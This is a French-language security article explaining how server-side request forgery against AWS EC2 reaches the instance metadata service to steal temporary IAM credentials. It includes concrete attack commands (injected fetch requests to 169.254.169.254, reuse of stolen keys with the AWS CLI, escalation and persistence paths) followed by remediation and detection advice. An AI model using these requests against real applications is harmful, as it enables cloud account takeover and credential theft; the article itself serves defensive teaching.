La SSRF (Server-Side Request Forgery) est régulièrement classée dans le Top 10 OWASP. Sur une infrastructure AWS, elle cesse d'être une vulnérabilité « moyenne » pour devenir un vecteur de compromission complet : une seule requête mal filtrée peut suffire à voler des credentials IAM temporaires et à prendre le contrôle d'un compte cloud entier.

Qu'est-ce que la SSRF et pourquoi est-elle critique sur AWS ?

Une vulnérabilité SSRF permet à un attaquant de forcer le serveur à émettre des requêtes HTTP vers une cible qu'il choisit (à la place du serveur). Typiquement, l'application expose une fonctionnalité qui effectue une requête vers une URL fournie par l'utilisateur : import d'image via URL, webhook, proxy, prévisualisation de lien, conversion de document.

Dans un environnement classique, l'impact se limite souvent aux services internes accessibles depuis le serveur. Sur AWS, la situation est radicalement différente : chaque instance EC2 peut interroger un service local particulier, le Instance Metadata Service (IMDS), accessible à l'adresse 169.254.169.254. Ce service répond à des requêtes HTTP non authentifiées (dans sa version d'origine) et expose les credentials IAM temporaires attachés à l'instance.

Résultat : une SSRF sur une application hébergée sur EC2 peut déboucher directement sur le vol des credentials du rôle IAM de l'instance, et sur tout ce que ce rôle autorise à faire dans le compte AWS.

Le service IMDS : IMDSv1 vs IMDSv2

L'Instance Metadata Service est un endpoint HTTP disponible uniquement depuis l'intérieur d'une instance EC2, à l'adresse http://169.254.169.254. Il permet aux processus tournant sur l'instance d'obtenir des informations sur leur environnement : ID d'instance, région, réseau, et surtout les credentials IAM temporaires du rôle attaché.

IMDSv1 : le mode non authentifié

Dans sa première version (IMDSv1), l'IMDS répond à toute requête GET sans condition. Aucun jeton, aucune preuve que la requête provient bien d'un processus légitime sur l'instance. Une SSRF suffisait donc à interroger l'endpoint directement :

# Depuis l'application vulnérable (via SSRF), l'attaquant force cette requête :
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Réponse : nom du rôle attaché à l'instance, par exemple "ec2-role-prod"

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-prod
# Réponse : AccessKeyId, SecretAccessKey, Token (valables ~1 heure)

IMDSv2 : le mode avec jeton

Depuis 2019, AWS a introduit IMDSv2, qui impose un échange en deux temps. Avant d'interroger les métadonnées, le client doit d'abord obtenir un jeton de session via une requête PUT avec un en-tête spécifique. Ce mécanisme bloque les requêtes SSRF classiques, qui sont généralement limitées aux GET.

# Étape 1 : obtenir un jeton IMDSv2 (nécessite une requête PUT + en-tête X-aws-ec2-metadata-token-ttl-seconds)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Étape 2 : utiliser le jeton pour interroger les métadonnées
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/)

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"

IMDSv2 n'est cependant pas une protection absolue : si la SSRF permet d'émettre des requêtes avec des en-têtes personnalisés (cas de certains proxies internes, ou de bibliothèques HTTP côté serveur), le jeton peut toujours être obtenu. De plus, IMDSv1 reste actif par défaut sur les instances créées avant 2020 ou migrées ; il doit être explicitement désactivé.

Exploitation SSRF vers IMDS : déroulement d'une attaque

Voici le déroulement type lors d'un test d'intrusion sur une application AWS exposée :

  1. Identification de la surface SSRF. Toute fonctionnalité qui effectue une requête HTTP côté serveur vers une URL contrôlable est candidate : champ URL dans un formulaire, paramètre de webhook, endpoint de proxy, import de ressource distante.
  2. Confirmation de la SSRF. On teste d'abord avec un endpoint de rebond externe (ex. Burp Collaborator) pour confirmer que le serveur émet bien des requêtes sortantes. Si la réponse contient des données, la SSRF est en lecture.
  3. Pivot vers l'IMDS. On tente d'atteindre 169.254.169.254 via le paramètre vulnérable :
# Requête injectée via le paramètre vulnérable (exemple : champ "url" d'un webhook)
curl -s "https://app-cible.com/api/fetch?url=http://169.254.169.254/latest/meta-data/"

# Si l'application retourne le contenu, on obtient la liste des chemins disponibles :
# ami-id
# hostname
# iam/
# instance-id
# network/
# ...
  • Récupération des credentials. On descend dans l'arborescence jusqu'aux credentials IAM.
    • curl -s "https://app-cible.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-prod"
# Réponse JSON :
# {
#   "AccessKeyId": "ASIA...",
#   "SecretAccessKey": "...",
#   "Token": "IQoJb3...",
#   "Expiration": "2026-01-23T14:32:00Z"
# }

    Ce qu'on peut récupérer via l'IMDS

    Les credentials IAM sont la cible principale, mais l'IMDS expose bien d'autres données utiles pour un attaquant :

    • Credentials IAM temporaires (AccessKeyId, SecretAccessKey, Token) : valables jusqu'à l'expiration, typiquement 1 à 6 heures. Réutilisables depuis n'importe quelle machine.
    • Nom du rôle EC2 : donne une indication immédiate des permissions potentielles et du contexte applicatif.
    • User-data (/latest/user-data) : les scripts de démarrage contiennent fréquemment des mots de passe en clair, des tokens d'API ou des clés SSH embarquées par commodité.
    • Région et identifiant de compte AWS (/latest/dynamic/instance-identity/document) : permet de cibler précisément les ressources du compte.
    • Configuration réseau : adresses IP internes, VPC ID, subnet, utile pour cartographier le réseau interne.

    Escalade de privilèges depuis les credentials volés

    Une fois les credentials récupérés, l'attaquant les configure localement et commence à explorer les permissions du rôle :

    export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="IQoJb3..."

# Identifier le rôle et le compte
aws sts get-caller-identity

# Lister les permissions disponibles (tentatives)
aws s3 ls
aws iam list-roles
aws ec2 describe-instances --region eu-west-1

    Si le rôle EC2 est sur-permissif (ce qui est fréquent, voir notre article sur les erreurs IAM critiques sur AWS), les chemins d'escalade deviennent rapidement disponibles. Les plus courants :

    • Accès à d'autres services AWS : lecture de secrets dans Secrets Manager, lecture ou écriture dans S3, accès à des bases de données RDS via les API AWS.
    • Escalade IAM : si le rôle possède iam:PassRole, iam:CreateFunction ou iam:AttachRolePolicy, l'attaquant peut s'attribuer des permissions administrateur.
    • Mouvement latéral cross-account : si le rôle peut assumer (sts:AssumeRole) des rôles dans d'autres comptes de l'organisation, la compromission s'étend au-delà du compte initial.
    • Persistance : création d'un nouvel utilisateur IAM avec clés longue durée, ou modification d'une trust policy pour maintenir un accès après expiration du token initial.

    Pour analyser ces chemins d'escalade de manière systématique, des outils comme Pacu ou PMapper cartographient automatiquement les vecteurs disponibles. C'est précisément ce que nous couvrons dans notre guide sur Pacu et CloudSplaining.

    Détection et remédiation

    Activer IMDSv2 et désactiver IMDSv1

    C'est la mesure la plus directe pour limiter l'impact d'une SSRF sur l'IMDS. IMDSv2 doit être enforced au niveau de l'instance : même si l'application est vulnérable, une SSRF limitée aux GET ne pourra pas obtenir le jeton de session.

    # Forcer IMDSv2 sur une instance existante (désactive IMDSv1)
aws ec2 modify-instance-metadata-options \
  --instance-id i-0abc123def456 \
  --http-tokens required \
  --http-endpoint enabled

# Vérifier que le changement est appliqué
aws ec2 describe-instance-metadata-options --instance-id i-0abc123def456

    AWS permet également d'enforcer IMDSv2 à l'échelle d'un compte via une SCP ou une policy IAM avec condition ec2:MetadataHttpTokens: required.

    Désactiver l'IMDS si le rôle EC2 est inutile

    Si l'instance n'a pas besoin d'un rôle IAM (par exemple un serveur web statique sans accès aux API AWS), la meilleure option est de désactiver complètement l'IMDS :

    aws ec2 modify-instance-metadata-options \
  --instance-id i-0abc123def456 \
  --http-endpoint disabled

    Appliquer le moindre privilège sur les rôles EC2

    Même si une SSRF aboutit, l'impact dépend entièrement des permissions du rôle compromis. Un rôle limité à s3:GetObject sur un seul bucket n'ouvre pas les mêmes perspectives qu'un rôle avec AdministratorAccess. Auditer régulièrement les rôles d'instance avec CloudSplaining ou aws iam simulate-principal-policy permet d'identifier les permissions excédentaires.

    Filtrer les requêtes SSRF au niveau applicatif

    Plusieurs mesures défensives côté application réduisent le risque :

    • Liste blanche de domaines : si l'application doit effectuer des requêtes externes, restreindre les domaines autorisés à une liste explicite.
    • Bloquer les plages d'adresses privées : rejeter toute requête vers 169.254.0.0/16, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 avant d'émettre la requête.
    • Résolution DNS après validation : vérifier l'IP résolue après validation du nom de domaine pour éviter les DNS rebinding.
    • WAF : les règles AWS WAF peuvent bloquer les tentatives d'accès à l'IMDS en filtrant les requêtes contenant 169.254.169.254 ou les en-têtes IMDSv2.

    Activer CloudTrail et surveiller les appels API suspects

    Si des credentials IMDS sont volés et utilisés depuis une IP externe, CloudTrail l'enregistre. Les signaux à surveiller : appels API depuis des IPs hors de l'infrastructure habituelle, appels sts:GetCallerIdentity suivis d'un iam:ListRoles ou iam:CreateUser, ou utilisation de tokens ASIA... (credentials temporaires STS) depuis une région inattendue.

    Conclusion

    La combinaison SSRF + IMDS illustre pourquoi la sécurité applicative et la sécurité cloud ne peuvent pas être traitées en silos. Une vulnérabilité web classique, dans un contexte AWS, devient un vecteur de compromission du compte cloud entier si les rôles IAM ne sont pas correctement contraints et si IMDSv2 n'est pas enforced.

    Pour aller plus loin sur la sécurisation des identités cloud, vous pouvez consulter la documentation de notre audit IAM AWS, qui couvre les chemins d'escalade depuis les rôles EC2, les trust policies et les permissions cross-account. Si vous souhaitez évaluer votre exposition avec des outils offensifs, notre guide sur Pacu et CloudSplaining détaille la méthode utilisée en audit.